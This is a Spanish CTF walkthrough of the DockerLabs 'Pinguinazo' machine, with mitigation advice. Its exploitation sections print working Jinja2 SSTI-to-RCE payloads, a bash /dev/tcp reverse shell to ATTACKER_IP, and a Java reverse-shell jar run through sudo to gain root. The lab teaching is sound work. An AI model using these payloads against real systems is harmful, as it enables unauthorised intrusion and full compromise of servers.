Ir al contenido

Pinguinazo

En este writeup documentamos la resolución completa de la máquina virtual Pinguinazo (autor: El Pingüino de Mario), catalogada como fácil en la plataforma DockerLabs. El objetivo es entregar una guía reproducible, didáctica y orientada a mitigación: explicar qué se hizo, por qué funcionó cada paso y cómo evitar patrones similares en entornos reales.

El flujo de trabajo se estructura en tres fases:

  1. Reconocimiento – identificar servicios expuestos, rutas relevantes y vectores de entrada.
  2. Explotación – conseguir acceso inicial (aquí: SSTI → RCE).
  3. Escalada de privilegios – abusar de configuraciones inseguras (sudo) para obtener root.

⚠️ Aviso: Todas las pruebas se realizaron dentro de un laboratorio controlado (DockerLabs). No realices pruebas intrusivas en sistemas sin autorización explícita.


AtributoDetalle
NombrePinguinazo
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación24/06/2024
PlataformaDockerLabs

  1. Descomprime el paquete:

    Ventana de terminal
    unzip Pinguinazo.zip
  2. Despliega la máquina (el script levanta un contenedor y muestra la IP asignada):

    Ventana de terminal
    sudo bash auto_deploy.sh Pinguinazo.tar

Anota la IP que devuelve el script; la necesitaremos en las fases de reconocimiento y explotación.


Mantener la evidencia y los artefactos ordenados facilita la reproducibilidad:

Ventana de terminal
mkdir -p ShowTime/{content,exploits,nmap,gobuster,scripts}
cd ShowTime

Consejo: guarda capturas, salidas de nmap/gobuster y cualquier script usado en ShowTime para incluirlos en el informe.

IP asignada


Escaneo rápido de todos los puertos para detectar servicios abiertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
# (opcional) extraer puertos con una herramienta local
extractPorts allPorts

Resultado útil: sólo el puerto 5000/tcp estaba expuesto y sirve HTTP (sitio web). Puertos abiertos


Busqueda de rutas con gobuster (lista de seclists):

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Rutas interesantes encontradas:

  • /index — página principal con un formulario de entrada. index view
  • /greet — formulario que muestra el nombre introducido (punto de interés). greet form
  • /console — interfaz que pide un PIN; sugiere un panel administrativo. console view

Observación: el comportamiento de /greet (mostrar input en la página) sugiere la posibilidad de Server-Side Template Injection (SSTI) si la aplicación usa plantillas sin correcto escape.


En el formulario (/greet), enviamos una prueba básica de expresión:

{{ 7 * 7 }}

La página devuelve 49, lo que confirmaría que la entrada se evalúa dentro de una plantilla (comportamiento típico de motores tipo Jinja2 u otros motores Python). test ssti

Por qué importa: si la plantilla evalúa expresiones, es posible acceder a objetos globales y, desde ahí, intentar ejecutar comandos del sistema.


Probamos explorar objetos disponibles para encontrar os y funciones que permitan ejecutar procesos. Un ejemplo que funcionó en esta máquina:

{{ lipsum.__globals__["os"].popen('id').read() }}

Resultado: la salida del comando id aparece en la página → ejecución remota de comandos confirmada. SSTItoCi

Explicación técnica breve: lipsum (u otro objeto expuesto en el contexto) tiene un diccionario __globals__ que contiene el módulo os. Llamando a os.popen() se pueden ejecutar comandos y leer su salida.


Con ejecución de comandos confirmada, preparamos un listener en nuestra máquina atacante (ejemplo con nc):

Ventana de terminal
# En el atacante
nc -nlvp 443

Inyectamos un payload desde la plantilla para abrir una reverse shell. Usa siempre tus IPs/puertos reales en los placeholders:

{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"').read() }}

Tras enviar el payload, la conexión inversa se establece y obtenemos shell interactiva en el listener. reverseshell complete

Nota práctica: muchas shells obtenidas por RCE son muy básicas. Para estabilizarlas, tras conseguir la shell puedes ejecutar en tu terminal atacante lo siguiente (si la shell está en background) para obtener una TTY más usable:

Ventana de terminal
# Ejemplo de estabilización (en atacante)
script /dev/null -c bash
# Luego en la shell remota: Ctrl+Z, y en local:
stty raw -echo; fg
reset
export TERM=xterm

🧑‍💻 Paso 3 — Escalada de privilegios (sudo → root)

Sección titulada «🧑‍💻 Paso 3 — Escalada de privilegios (sudo → root)»

Como el usuario recuperado (pinguinazo), listamos los privilegios sudo:

Ventana de terminal
sudo -l

Salida relevante: el usuario puede ejecutar java como root sin contraseña. sudo -l

Impacto: poder ejecutar java como root permite ejecutar código arbitrario con privilegios elevados si java puede cargar y ejecutar clases/controladores proporcionados por el atacante.


Construimos un pequeño exploit en Java que abre una reverse shell (recuerda reemplazar ATTACKER_IP y ATTACKER_PORT):

manifest.txt

Main-Class: Exploit

Exploit.java

import java.io.*;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmd = {"/bin/sh", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"};
Runtime.getRuntime().exec(cmd);
}
}

Compilar y empaquetar:

Ventana de terminal
javac Exploit.java
jar cfm exploit.jar manifest.txt Exploit.class
# Ejecutar como root vía sudo
sudo java -jar exploit.jar

Al ejecutar el jar con sudo, la reverse shell que conecte de vuelta al atacante tendrá permisos root. Resultado final: acceso root conseguido. root

Alternativas: en vez de usar un jar, se puede usar sudo java -cp . Exploit, o encontrar otra clase con funcionalidad de ejecución. La idea clave es que sudo permite ejecutar java con el entorno de root.


  1. Reconocimiento: se detectó HTTP en el puerto 5000; rutas /index, /greet y /console.
  2. Vulnerabilidad: la aplicación evalúa expresiones desde entradas de usuario → SSTI (Jinja2-like).
  3. Privilegio de ejecución: mediante __globals__ se accede a os y os.popen()RCE.
  4. Acceso inicial: reverse shell desde RCE.
  5. Escalada: sudo -l revela java ejecutable como root → crear y ejecutar jar con payload → root.

Tipo de vulnerabilidadDescripción breveImpacto
SSTI (Server-Side Template Injection)Entrada de usuario evaluada en el motor de plantillas (objetos globales accesibles)Crítico — permite ejecución de código en servidor
RCE (Remote Code Execution)Uso de os.popen()/Runtime.exec() desde la plantilla para ejecutar comandosCrítico — ejecución arbitraria de comandos
Exposición de datos temporalesPosible existencia de archivos temporales con secretos (/tmp/...) accesiblesMedio — facilita siguientes pasos de explotación
Configuración sudo inseguraUsuario puede ejecutar java como root sin contraseñaAlto — escalada a root posible

He adaptado la tabla para reflejar lo que realmente fue explotado en este writeup (SSTI → RCE), en lugar de SQLi que aparece en la versión original.


A nivel de aplicación

  • Evitar evaluar directamente entradas de usuario en plantillas. Usa motores con escapado por defecto y no expongas objetos internos.
  • Si usas Jinja2 (u otro motor Python), emplea Environment(..., autoescape=True) y restringe el contexto que se pasa a las plantillas (no incluir módulos o funciones peligrosas).
  • Valida y sanea entradas del usuario — aplicar listas blancas de valores cuando sea posible.
  • Emplear Content Security Policy (CSP) y protección CSRF donde aplique.

A nivel de sistema

  • Revisa la configuración de sudoers y elimina privilegios innecesarios (no permitir ejecutar binarios generales como java sin restricciones).
  • Minimizar servicios expuestos y usar firewalls para limitar acceso por IP cuando corresponda.
  • No dejar archivos sensibles en /tmp o directorios accesibles públicamente; usar permisos mínimos y ubicaciones seguras.
  • Registrar y monitorizar ejecuciones de sudo y actividades inusuales en el sistema.

Defensa en profundidad

  • Aplicar principios de menor privilegio para cuentas y procesos.
  • Usar herramientas de detección de RCE y escaneo de dependencias para detectar patrones vulnerables.
  • Hacer revisiones de código (code review) enfocadas en manejo de plantillas y entrada de usuario.